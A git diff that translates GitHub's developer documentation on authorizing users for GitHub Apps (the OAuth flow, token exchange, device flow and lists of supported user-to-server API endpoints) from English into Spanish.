     GET {% data variables.product.oauth_host_code %}/login/oauth/authorize
 
-When your GitHub App specifies a `login` parameter, it prompts users with a specific account they can use for signing in and authorizing your app.
+Cuando tu GitHub App especifica un parámetro de `login`, solicita a los usuarios con una cuenta específica que pueden utilizar para registrarse y autorizar tu app.
 
-#### Parameters
+#### Parámetros
 
-Name | Type | Description
------|------|------------
-`client_id` | `string` | **Required.** The client ID for your GitHub App. You can find this in your [GitHub App settings](https://github.com/settings/apps) when you select your app. **Note:** The app ID and client ID are not the same, and are not interchangeable.
-`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters.
-`state` | `string` | This should contain a random string to protect against forgery attacks and could contain any other arbitrary data.
-`login` | `string` | Suggests a specific account to use for signing in and authorizing the app.
-`allow_signup` | `string` | Whether or not unauthenticated users will be offered an option to sign up for {% data variables.product.prodname_dotcom %} during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups.
+| Nombre         | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| -------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`    | `secuencia` | **Requerido.** La ID de cliente para tu GitHub App. Puedes encontrarla en los [Ajustes de tu GitHub App](https://github.com/settings/apps) cuando selecciones tu app. **Nota:** La ID de app y de cliente no son las mismas y no son intercambiables.                                                                                                                                                                        |
+| `redirect_uri` | `secuencia` | La URL en tu aplicación a donde se enviará a los usuarios después de la autorización. Esta debe ser una copia exacta de {% ifversion fpt or ghes > 3.0 or ghec %} una de las URL que proporcionaste como **URL de rellamado** {% else %} la URL que proporcionaste en el campo **URL de rellamado de autorización de usuario** {% endif %} cuando configuraste tu GitHub App y no puede contener ningún parámetro adicional. |
+| `state`        | `secuencia` | Este deberá contener una secuencia aleatoria para dar protección contra los ataques de falsificación y podría contener cualquier otros datos arbitrarios.                                                                                                                                                                                                                                                                    |
+| `login`        | `secuencia` | Sugiere una cuenta específica para utilizar para registrarse y autorizar la app.                                                                                                                                                                                                                                                                                                                                             |
+| `allow_signup` | `secuencia` | Ya sea que se ofrezca no una opción para que los usuarios autenticados se registren para {% data variables.product.prodname_dotcom %} durante el flujo de OAuth. la opción predeterminada es `true`. Utiliza `false` cuando una política prohíba los registros.                                                                                                                                                              |
 
 {% note %}
 
-**Note:** You don't need to provide scopes in your authorization request. Unlike traditional OAuth, the authorization token is limited to the permissions associated with your GitHub App and those of the user.
+**Nota:** No necesitas proporcionar alcances en tu solicitud de autorización. A diferencia de la OAuth trandicional, el token de autorizción se limita a los permisos asociados con tu GitHub App y a aquellos del usuario.
 
 {% endnote %}
 
-### 2. Users are redirected back to your site by GitHub
+### 2. GitHub redirecciona a los usuarios de vuelta a tu sitio
 
-If the user accepts your request, GitHub redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. If the states don't match, the request was created by a third party and the process should be aborted.
+Si el usuario acepta tu solicitud, GitHub te redirecciona de regreso a tu sitio con un `code` temporal en un parámetro de código así como con el estado que proporcionaste en el paso anterior en el parámetro `state`. Si los estados no coinciden significa que un tercero creó la solicitud y que se debe anular el proceso.
 
 {% note %}
 
-**Note:** If you select **Request user authorization (OAuth) during installation** when creating or modifying your app, GitHub returns a temporary `code` that you will need to exchange for an access token. The `state` parameter is not returned when GitHub initiates the OAuth flow during app installation.
+**Nota:** Si seleccionas **Solicitar la autorización del usuario (OAuth) durante la instalación ** cuando creas o modificas tu app, GitHub regreará un `code` temporal que necesitarás intercambiar por un token de acceso. El parámetro `state` no se regresa cuando GitHub inicia el flujo de OAuth durante la instalación de la app.
 
 {% endnote %}
 
-Exchange this `code` for an access token.  When expiring tokens are enabled, the access token expires in 8 hours and the refresh token expires in 6 months. Every time you refresh the token, you get a new refresh token. For more information, see "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)."
+Intercambia este `code` por un token de acceso.  Cuando se habilita el vencimiento de tokens, el token de acceso vence en 8 horas y el token de actualización en 6 meses. Cada que actualizas el token, obtienes un nuevo token de actualización. Para obtener más información, consulta la sección "[Actualizar los tokens de acceso de usuario a servidor](/developers/apps/refreshing-user-to-server-access-tokens)".
 
-Expiring user tokens are currently an optional feature and subject to change. To opt-in to the user-to-server token expiration feature, see "[Activating optional features for apps](/developers/apps/activating-optional-features-for-apps)."
+Los tokens de usuario con vigencia determinada son una característica opcional actualmente y están sujetos a cambios. Para decidir unirse a la característica de vigencia determinada de los tokens de usuario a servidor, consulta la sección "[Activar las características opcionales para las apps](/developers/apps/activating-optional-features-for-apps)".
 
-Make a request to the following endpoint to receive an access token:
+Haz una solicitud a la siguiente terminal para recibir un token de acceso:
 
     POST {% data variables.product.oauth_host_code %}/login/oauth/access_token
 
-#### Parameters
+#### Parámetros
 
-Name | Type | Description
------|------|------------
-`client_id` | `string` | **Required.** The  client ID for your GitHub App.
-`client_secret` | `string`   | **Required.** The  client secret for your GitHub App.
-`code` | `string`   | **Required.** The code you received as a response to Step 1.
-`redirect_uri` | `string` | The URL in your application where users will be sent after authorization. This must be an exact match to {% ifversion fpt or ghes > 3.0 or ghec %} one of the URLs you provided as a **Callback URL** {% else %} the URL you provided in the **User authorization callback URL** field{% endif %} when setting up your GitHub App and can't contain any additional parameters.
-`state` | `string` | The unguessable random string you provided in Step 1.
+| Nombre          | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| --------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `client_id`     | `secuencia` | **Requerido.** La ID de cliente para tu GitHub App.                                                                                                                                                                                                                                                                                                                                                                          |
+| `client_secret` | `secuencia` | **Requerido.** El secreto de cliente para tu GitHub App.                                                                                                                                                                                                                                                                                                                                                                     |
+| `código`        | `secuencia` | **Requerido.** El código que recibiste como respuesta al Paso 1.                                                                                                                                                                                                                                                                                                                                                             |
+| `redirect_uri`  | `secuencia` | La URL en tu aplicación a donde se enviará a los usuarios después de la autorización. Esta debe ser una copia exacta de {% ifversion fpt or ghes > 3.0 or ghec %} una de las URL que proporcionaste como **URL de rellamado** {% else %} la URL que proporcionaste en el campo **URL de rellamado de autorización de usuario** {% endif %} cuando configuraste tu GitHub App y no puede contener ningún parámetro adicional. |
+| `state`         | `secuencia` | La secuencia aleatoria indescifrable que proporcionaste en el Paso 1.                                                                                                                                                                                                                                                                                                                                                        |
 
-#### Response
+#### Respuesta
 
-By default, the response takes the following form. The response parameters `expires_in`, `refresh_token`,  and `refresh_token_expires_in` are only returned when you enable expiring user-to-server access tokens.
+Predeterminadamente, la respuesta toma la siguiente forma. Los parámetros de respuesta `expires_in`, `refresh_token`,  y `refresh_token_expires_in` solo se devuelven cuando habilitas la vigencia determinada para los tokens de acceso de usuario a servidor.
 
 ```json
 {
@@ -107,14 +108,14 @@ By default, the response takes the following form. The response parameters `expi
 }
 ```
 
-### 3. Your GitHub App accesses the API with the user's access token
+### 3. Tu GitHub App accede a la API con el token de acceso del usuario
 
-The user's access token allows the GitHub App to make requests to the API on behalf of a user.
+El token de acceso del usuario permite que la GitHub App haga solicitudes a la API a nombre del usuario.
 
     Authorization: token OAUTH-TOKEN
     GET {% data variables.product.api_url_code %}/user
 
-For example, in curl you can set the Authorization header like this:
+Por ejemplo, en curl, puedes configurar el encabezado de autorización de la siguiente manera:
 
 ```shell
 curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %}/user
@@ -122,812 +123,812 @@ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Device flow
+## Flujo de dispositivos
 
 {% note %}
 
-**Note:** The device flow is in public beta and subject to change.
+**Nota:** El flujo de dispositivos se encuentra en un beta público y está sujeto a cambios.
 
 {% endnote %}
 
-The device flow allows you to authorize users for a headless app, such as a CLI tool or Git credential manager.
+Este flujo de dispositivos te permite autorizar usuarios para una app sin encabezado, tal como una herramienta de CLI o un administrador de credenciales de Git.
 
-For more information about authorizing users using the device flow, see "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps#device-flow)".
+Para obtener más información acerca de autorizar a usuarios utilizando el flujo de dispositivos, consulta la sección "[Autorizar Apps de OAuth](/developers/apps/authorizing-oauth-apps#device-flow)".
 
 {% endif %}
 
-## Check which installation's resources a user can access
+## Revisar a qué recursos de instalación puede acceder un usuario
 
 
-Once you have an OAuth token for a user, you can check which installations that user can access.
+Ya que tengas un token de OAuth para un usuario, puedes revisar a qué instalaciones puede acceder.
 
     Authorization: token OAUTH-TOKEN
     GET /user/installations
 
-You can also check which repositories are accessible to a user for an installation.
+También puedes verificar qué repositorios se encuentran accesibles para un usuario para una instalación.
 
     Authorization: token OAUTH-TOKEN
     GET /user/installations/:installation_id/repositories
 
-More details can be found in: [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) and [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token).
+Puedes encontrar más detalles en: [Listar instalaciones de app accesibles para el token de acceso del usuario](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) y [Listar repositorios accesibles para el token de acceso del usuario](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token).
 
-## Handling a revoked GitHub App authorization
+## Gestionar una autorización revocada a una GitHub App
 
-If a user revokes their authorization of a GitHub App, the app will receive the [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) webhook by default. GitHub Apps cannot unsubscribe from this event. {% data reusables.webhooks.authorization_event %}
+Si un usuario revoca su autorización de una GitHub App, dicha app recibirá el webhook [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) predeterminadamente. Las GitHub Apps no pueden desuscribirse de este evento. {% data reusables.webhooks.authorization_event %}
 
-## User-level permissions
+## Permisos a nivel de usuario
 
-You can add user-level permissions to your GitHub App to access user resources, such as user emails, that are granted by individual users as part of the [user authorization flow](#identifying-users-on-your-site). User-level permissions differ from [repository and organization-level permissions](/rest/reference/permissions-required-for-github-apps), which are granted at the time of installation on an organization or user account.
+Puedes agregar permisos a nivel de usuario a tu GitHub App para acceder a los recursos del usuario, tales como correos electrónicos del usuario, los cuales otorgan los usuarios independientes como parte del [flujo de autorización del usuario](#identifying-users-on-your-site). Los permisos a nivel de usuario difieren de los [permisos a nivel de organización y de repositorio](/rest/reference/permissions-required-for-github-apps), los cuales se otorgan en el momento de la instalación en una cuenta de usuario o de organización.
 
-You can select user-level permissions from within your GitHub App's settings in the **User permissions** section of the **Permissions & webhooks** page. For more information on selecting permissions, see "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)."
+Puedes seleccionar los permisos a nivel de usuario desde dentro de la configuración de tu GitHub App en la sección de **Permisos de usuario** de la página de **Permisos & webhooks**. Para obtener más información sobre seleccionar permisos, consulta la sección [Editar los permisos de una GitHub App](/apps/managing-github-apps/editing-a-github-app-s-permissions/)".
 
-When a user installs your app on their account, the installation prompt will list the user-level permissions your app is requesting and explain that the app can ask individual users for these permissions.
+Cuando un usuario instala tu app en su cuenta, el aviso de instalación listará los permisos a nivel de usuario que tu app está solicitando y explicará que la app puede pedir estos permisos a los usuarios independientes.
 
-Because user-level permissions are granted on an individual user basis, you can add them to your existing app without prompting users to upgrade. You will, however, need to send existing users through the user authorization flow to authorize the new permission and get a new user-to-server token for these requests.
+Ya que los permisos a nivel de usuario se otorgan individualmente, puedes agregarlos a tu app existente sin solicitar que los usuarios los mejoren. Sin embargo, necesitarás enviar usuarios existentes a través del flujo de autorización de usuarios para autorizar los permisos nuevos y obtener un token nuevo de usuario a servidor para estas solicitudes.
 
-## User-to-server requests
+## Solicitudes de usuario a servidor
 
-While most of your API interaction should occur using your server-to-server installation access tokens, certain endpoints allow you to perform actions via the API using a user access token. Your app can make the following requests using [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) or [REST v3](/rest) endpoints.
+Mientras que la mayoría de tu interacción con la API deberá darse utilizando tus tokens de acceso a la instalación de servidor a servidor, ciertas terminales te permiten llevar a cabo acciones a través de la API utilizando un token de acceso. Tu app puede hacer las siguientes solicitudes utilizando las terminales de [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) o de [REST v3](/rest).
 
-### Supported endpoints
+### Terminales compatibles
 
 {% ifversion fpt or ghec %}
-#### Actions Runners
+#### Ejecutores de Acciones
 
-* [List runner applications for a repository](/rest/reference/actions#list-runner-applications-for-a-repository)
-* [List self-hosted runners for a repository](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
-* [Get a self-hosted runner for a repository](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
-* [Delete a self-hosted runner from a repository](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
-* [Create a registration token for a repository](/rest/reference/actions#create-a-registration-token-for-a-repository)
-* [Create a remove token for a repository](/rest/reference/actions#create-a-remove-token-for-a-repository)
-* [List runner applications for an organization](/rest/reference/actions#list-runner-applications-for-an-organization)
-* [List self-hosted runners for an organization](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
-* [Get a self-hosted runner for an organization](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
-* [Delete a self-hosted runner from an organization](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
-* [Create a registration token for an organization](/rest/reference/actions#create-a-registration-token-for-an-organization)
-* [Create a remove token for an organization](/rest/reference/actions#create-a-remove-token-for-an-organization)
+* [Listar aplicaciones de ejecutores para un repositorio](/rest/reference/actions#list-runner-applications-for-a-repository)
+* [Listar ejecutores auto-hospedados para un repositorio](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
+* [Obtener un ejecutor auto-hospedado para un repositorio](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
+* [Borrar un ejecutor auto-hospedado de un repositorio](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
+* [Crear un token de registro para un repositorio](/rest/reference/actions#create-a-registration-token-for-a-repository)
+* [Crear un token de eliminación para un repositorio](/rest/reference/actions#create-a-remove-token-for-a-repository)
+* [Listar aplicaciones de ejecutores para una organización](/rest/reference/actions#list-runner-applications-for-an-organization)
+* [Listar ejecutores auto-hospedados para una organización](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
+* [Obtener ejecutores auto-hospedados para una organización](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
+* [Borrar un ejecutor auto-hospedado de una organización](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
+* [Crear un token de registro para una organización](/rest/reference/actions#create-a-registration-token-for-an-organization)
+* [Crear un token de eliminación para una organización](/rest/reference/actions#create-a-remove-token-for-an-organization)
 
-#### Actions Secrets
+#### Secretos de las Acciones
 
-* [Get a repository public key](/rest/reference/actions#get-a-repository-public-key)
-* [List repository secrets](/rest/reference/actions#list-repository-secrets)
-* [Get a repository secret](/rest/reference/actions#get-a-repository-secret)
-* [Create or update a repository secret](/rest/reference/actions#create-or-update-a-repository-secret)
-* [Delete a repository secret](/rest/reference/actions#delete-a-repository-secret)
-* [Get an organization public key](/rest/reference/actions#get-an-organization-public-key)
-* [List organization secrets](/rest/reference/actions#list-organization-secrets)
-* [Get an organization secret](/rest/reference/actions#get-an-organization-secret)
-* [Create or update an organization secret](/rest/reference/actions#create-or-update-an-organization-secret)
-* [List selected repositories for an organization secret](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
-* [Set selected repositories for an organization secret](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
-* [Add selected repository to an organization secret](/rest/reference/actions#add-selected-repository-to-an-organization-secret)
-* [Remove selected repository from an organization secret](/rest/reference/actions#remove-selected-repository-from-an-organization-secret)
-* [Delete an organization secret](/rest/reference/actions#delete-an-organization-secret)
+* [Obtener la llave pública de un repositorio](/rest/reference/actions#get-a-repository-public-key)
+* [Listar los secretos del repositorio](/rest/reference/actions#list-repository-secrets)
+* [Obtener el secreto de un repositorio](/rest/reference/actions#get-a-repository-secret)
+* [Crear o actualizar el secreto de un repositorio](/rest/reference/actions#create-or-update-a-repository-secret)
+* [Borrar el secreto de un repositorio](/rest/reference/actions#delete-a-repository-secret)
+* [Obtener la llave pública de una organización](/rest/reference/actions#get-an-organization-public-key)
+* [Listar los secretos de la organización](/rest/reference/actions#list-organization-secrets)
+* [Obtener el secreto de una organización](/rest/reference/actions#get-an-organization-secret)
+* [Crear o actualizar el secreto de una organización](/rest/reference/actions#create-or-update-an-organization-secret)
+* [Listar los repositorios seleccionados para el secreto de una organización](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
+* [Configurar los repositorios seleccionados para el secreto de una organización](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
+* [Agregar el repositorio seleccionado al secreto de una organización](/rest/reference/actions#add-selected-repository-to-an-organization-secret)
+* [Eliminar el repositorio seleccionado del secreto de una organización](/rest/reference/actions#remove-selected-repository-from-an-organization-secret)
+* [Borrar el secreto de una organización](/rest/reference/actions#delete-an-organization-secret)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Artifacts
+#### Artefactos
 
-* [List artifacts for a repository](/rest/reference/actions#list-artifacts-for-a-repository)
-* [List workflow run artifacts](/rest/reference/actions#list-workflow-run-artifacts)
-* [Get an artifact](/rest/reference/actions#get-an-artifact)
-* [Delete an artifact](/rest/reference/actions#delete-an-artifact)
-* [Download an artifact](/rest/reference/actions#download-an-artifact)
+* [Listar artefactos para un repositorio](/rest/reference/actions#delete-an-organization-secret)
+* [Listar artefactos de ejecución de flujo de trabajo](/rest/reference/actions#list-workflow-run-artifacts)
+* [Obtener un artefacto](/rest/reference/actions#get-an-artifact)
+* [Borrar un artefacto](/rest/reference/actions#delete-an-artifact)
+* [Descargar un artefacto](/rest/reference/actions#download-an-artifact)
 {% endif %}
 
-#### Check Runs
+#### Ejecuciones de Verificación
 
-* [Create a check run](/rest/reference/checks#create-a-check-run)
-* [Get a check run](/rest/reference/checks#get-a-check-run)
-* [Update a check run](/rest/reference/checks#update-a-check-run)
-* [List check run annotations](/rest/reference/checks#list-check-run-annotations)
-* [List check runs in a check suite](/rest/reference/checks#list-check-runs-in-a-check-suite)
-* [List check runs for a Git reference](/rest/reference/checks#list-check-runs-for-a-git-reference)
+* [Crear una ejecución de verificación](/rest/reference/checks#create-a-check-run)
+* [Obtener una ejecución de verificación](/rest/reference/checks#get-a-check-run)
+* [Actualizar una ejecución de verificación](/rest/reference/checks#update-a-check-run)
+* [Listar las anotaciones de una ejecución de verificación](/rest/reference/checks#list-check-run-annotations)
+* [Listar las ejecuciones de verificación en un conjunto de verificaciones](/rest/reference/checks#list-check-runs-in-a-check-suite)
+* [Listar las ejecuciones de verificación para una referencia de Git](/rest/reference/checks#list-check-runs-for-a-git-reference)
 
-#### Check Suites
+#### Conjuntos de Verificaciones
 
-* [Create a check suite](/rest/reference/checks#create-a-check-suite)
-* [Get a check suite](/rest/reference/checks#get-a-check-suite)
-* [Rerequest a check suite](/rest/reference/checks#rerequest-a-check-suite)
-* [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites)
-* [List check suites for a Git reference](/rest/reference/checks#list-check-suites-for-a-git-reference)
+* [Crear un conjunto de verificaciones](/rest/reference/checks#create-a-check-suite)
+* [Obtener un conjunto de verificaciones](/rest/reference/checks#get-a-check-suite)
+* [Solicitar un conjunto de verificaciones](/rest/reference/checks#rerequest-a-check-suite)
+* [Actualizar las preferencias del repositorio para los conjuntos de verificaciones](/rest/reference/checks#update-repository-preferences-for-check-suites)
+* [Listar conjuntos de verificaciones para una referencia de Git](/rest/reference/checks#list-check-suites-for-a-git-reference)
 
-#### Codes Of Conduct
+#### Códigos de Conducta
 
-* [Get all codes of conduct](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
-* [Get a code of conduct](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
+* [Obtener todos los códigos de conducta](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
+* [Obtener un código de conducta específico](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
 
-#### Deployment Statuses
+#### Estados de Despliegue
 
-* [List deployment statuses](/rest/reference/repos#list-deployment-statuses)
-* [Create a deployment status](/rest/reference/repos#create-a-deployment-status)
-* [Get a deployment status](/rest/reference/repos#get-a-deployment-status)
+* [Listar los estados de despliegue](/rest/reference/deployments#list-deployment-statuses)
+* [Crear los estados de despliegue](/rest/reference/deployments#create-a-deployment-status)
+* [Obtener un estado de despliegue](/rest/reference/deployments#get-a-deployment-status)
 
-#### Deployments
+#### Implementaciones
 
-* [List deployments](/rest/reference/repos#list-deployments)
-* [Create a deployment](/rest/reference/repos#create-a-deployment)
-* [Get a deployment](/rest/reference/repos#get-a-deployment){% ifversion fpt or ghes or ghae or ghec %}
-* [Delete a deployment](/rest/reference/repos#delete-a-deployment){% endif %}
+* [Listar los despliegues](/rest/reference/deployments#list-deployments)
+* [Crear un despliegue](/rest/reference/deployments#create-a-deployment)
+* [Obtener un despliegue](/rest/reference/deployments#get-a-deployment){% ifversion fpt or ghes or ghae or ghec %}
+* [Borrar un despliegue](/rest/reference/deployments#delete-a-deployment){% endif %}
 
-#### Events
+#### Eventos
 
-* [List public events for a network of repositories](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
-* [List public organization events](/rest/reference/activity#list-public-organization-events)
+* [Listar eventos públicos para una red de repositorios](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
+* [Listar eventos de organizaciones públicas](/rest/reference/activity#list-public-organization-events)
 
-#### Feeds
+#### Fuentes
 
-* [Get feeds](/rest/reference/activity#get-feeds)
+* [Obtener fuentes](/rest/reference/activity#get-feeds)
 
-#### Git Blobs
+#### Blobs de Git
 
-* [Create a blob](/rest/reference/git#create-a-blob)
-* [Get a blob](/rest/reference/git#get-a-blob)
+* [Crear un blob](/rest/reference/git#create-a-blob)
+* [Obtener un blob](/rest/reference/git#get-a-blob)
 
-#### Git Commits
+#### Confirmaciones de Git
 
-* [Create a commit](/rest/reference/git#create-a-commit)
-* [Get a commit](/rest/reference/git#get-a-commit)
+* [Crear una confirmación](/rest/reference/git#create-a-commit)
+* [Obtener una confirmación](/rest/reference/git#get-a-commit)
 
-#### Git Refs
+#### Referencias de Git
 
-* [Create a reference](/rest/reference/git#create-a-reference)* [Get a reference](/rest/reference/git#get-a-reference)
-* [List matching references](/rest/reference/git#list-matching-references)
-* [Update a reference](/rest/reference/git#update-a-reference)
-* [Delete a reference](/rest/reference/git#delete-a-reference)
+* [Crea una referencia](/rest/reference/git#create-a-reference)* [Obtén una referencia](/rest/reference/git#get-a-reference)
+* [Lista las referencias coincidentes](/rest/reference/git#list-matching-references)
+* [Actualizar una referencia](/rest/reference/git#update-a-reference)
+* [Borrar una referencia](/rest/reference/git#delete-a-reference)
 
-#### Git Tags
+#### Matrículas de Git
 
-* [Create a tag object](/rest/reference/git#create-a-tag-object)
-* [Get a tag](/rest/reference/git#get-a-tag)
+* [Crear un objeto de matrícula](/rest/reference/git#create-a-tag-object)
+* [Obtener una matrícula](/rest/reference/git#get-a-tag)
 
-#### Git Trees
+#### Árboles de Git
 
-* [Create a tree](/rest/reference/git#create-a-tree)
-* [Get a tree](/rest/reference/git#get-a-tree)
+* [Crear un árbol](/rest/reference/git#create-a-tree)
+* [Obtener un árbol](/rest/reference/git#get-a-tree)
 
-#### Gitignore Templates
+#### Plantillas de Gitignore
 
-* [Get all gitignore templates](/rest/reference/gitignore#get-all-gitignore-templates)
-* [Get a gitignore template](/rest/reference/gitignore#get-a-gitignore-template)
+* [Obtener todas las plantillas de gitignore](/rest/reference/gitignore#get-all-gitignore-templates)
+* [Obtener una plantilla específica de gitignore](/rest/reference/gitignore#get-a-gitignore-template)
 
-#### Installations
+#### Instalaciones
 
-* [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
+* [Listar repositorios accesibles para el token de acceso del usuario](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
 
 {% ifversion fpt or ghec %}
-#### Interaction Limits
+#### Límites de interacción
 
-* [Get interaction restrictions for an organization](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
-* [Set interaction restrictions for an organization](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
-* [Remove interaction restrictions for an organization](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
-* [Get interaction restrictions for a repository](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
-* [Set interaction restrictions for a repository](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
-* [Remove interaction restrictions for a repository](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
+* [Obtener restricciones de interacción para una organización](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
+* [Configurar restricciones de interacción para una organización](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
+* [Eliminar restricciones de interacción para una organización](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
+* [Obtener restricciones de interacción para un repositorio](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
+* [Configurar restricciones de interacción para un repositorio](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
+* [Eliminar restricciones de interacción para un repositorio](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
 {% endif %}
 
-#### Issue Assignees
+#### Asignados de Informes de Problemas
 
-* [Add assignees to an issue](/rest/reference/issues#add-assignees-to-an-issue)
-* [Remove assignees from an issue](/rest/reference/issues#remove-assignees-from-an-issue)
+* [Agregar asignados a un informe de problemas](/rest/reference/issues#add-assignees-to-an-issue)
+* [Eliminar asignados de un informe de problemas](/rest/reference/issues#remove-assignees-from-an-issue)
 
-#### Issue Comments
+#### Comentarios de Informes de Problemas
 
-* [List issue comments](/rest/reference/issues#list-issue-comments)
-* [Create an issue comment](/rest/reference/issues#create-an-issue-comment)
-* [List issue comments for a repository](/rest/reference/issues#list-issue-comments-for-a-repository)
-* [Get an issue comment](/rest/reference/issues#get-an-issue-comment)
-* [Update an issue comment](/rest/reference/issues#update-an-issue-comment)
-* [Delete an issue comment](/rest/reference/issues#delete-an-issue-comment)
+* [Listar comentarios del informe de problemas](/rest/reference/issues#list-issue-comments)
+* [Crear un comentario del informe de problemas](/rest/reference/issues#create-an-issue-comment)
+* [Listar cometnarios del informe de problemas para un repositorio](/rest/reference/issues#list-issue-comments-for-a-repository)
+* [Obtener un comentario de un informe de problemas](/rest/reference/issues#get-an-issue-comment)
+* [Actualizar un comentario de un informe de problemas](/rest/reference/issues#update-an-issue-comment)
+* [Borrar un comentario de un informe de problemas](/rest/reference/issues#delete-an-issue-comment)
 
-#### Issue Events
+#### Eventos de Informe de Problemas
 
-* [List issue events](/rest/reference/issues#list-issue-events)
+* [Listar eventos del informe de problemas](/rest/reference/issues#list-issue-events)
 
-#### Issue Timeline
+#### Línea de tiempo del Informe de Problemas
 
-* [List timeline events for an issue](/rest/reference/issues#list-timeline-events-for-an-issue)
+* [Listar eventos de la línea de tiempo para un informe de problemas](/rest/reference/issues#list-timeline-events-for-an-issue)
 
-#### Issues
+#### Problemas
 
-* [List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
-* [List assignees](/rest/reference/issues#list-assignees)
-* [Check if a user can be assigned](/rest/reference/issues#check-if-a-user-can-be-assigned)
-* [List repository issues](/rest/reference/issues#list-repository-issues)
-* [Create an issue](/rest/reference/issues#create-an-issue)
-* [Get an issue](/rest/reference/issues#get-an-issue)
-* [Update an issue](/rest/reference/issues#update-an-issue)
-* [Lock an issue](/rest/reference/issues#lock-an-issue)
-* [Unlock an issue](/rest/reference/issues#unlock-an-issue)
+* [Listar informes de problemas asignados al usuario autenticado](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
+* [Listar asignados](/rest/reference/issues#list-assignees)
+* [Revisar si se puede asignar un usuario](/rest/reference/issues#check-if-a-user-can-be-assigned)
+* [Listar informes de problemas del repositorio](/rest/reference/issues#list-repository-issues)
+* [Crear un informe de problemas](/rest/reference/issues#create-an-issue)
+* [Obtener un informe de problemas](/rest/reference/issues#get-an-issue)
+* [Actualizar un informe de problemas](/rest/reference/issues#update-an-issue)
+* [Bloquear un informe de problemas](/rest/reference/issues#lock-an-issue)
+* [Desbloquear un informe de problemas](/rest/reference/issues#unlock-an-issue)
 
 {% ifversion fpt or ghec %}
 #### Jobs
 
-* [Get a job for a workflow run](/rest/reference/actions#get-a-job-for-a-workflow-run)
-* [Download job logs for a workflow run](/rest/reference/actions#download-job-logs-for-a-workflow-run)
-* [List jobs for a workflow run](/rest/reference/actions#list-jobs-for-a-workflow-run)
+* [Obener un job para una ejecución de flujo de trabajo](/rest/reference/actions#get-a-job-for-a-workflow-run)
+* [Descargar bitácoras del job para una ejecución de flujode trabajo](/rest/reference/actions#download-job-logs-for-a-workflow-run)
+* [Listar jobs para una ejecución de flujo de trabajo](/rest/reference/actions#list-jobs-for-a-workflow-run)
 {% endif %}
 
-#### Labels
+#### Etiquetas
 
-* [List labels for an issue](/rest/reference/issues#list-labels-for-an-issue)
-* [Add labels to an issue](/rest/reference/issues#add-labels-to-an-issue)
-* [Set labels for an issue](/rest/reference/issues#set-labels-for-an-issue)
-* [Remove all labels from an issue](/rest/reference/issues#remove-all-labels-from-an-issue)
-* [Remove a label from an issue](/rest/reference/issues#remove-a-label-from-an-issue)
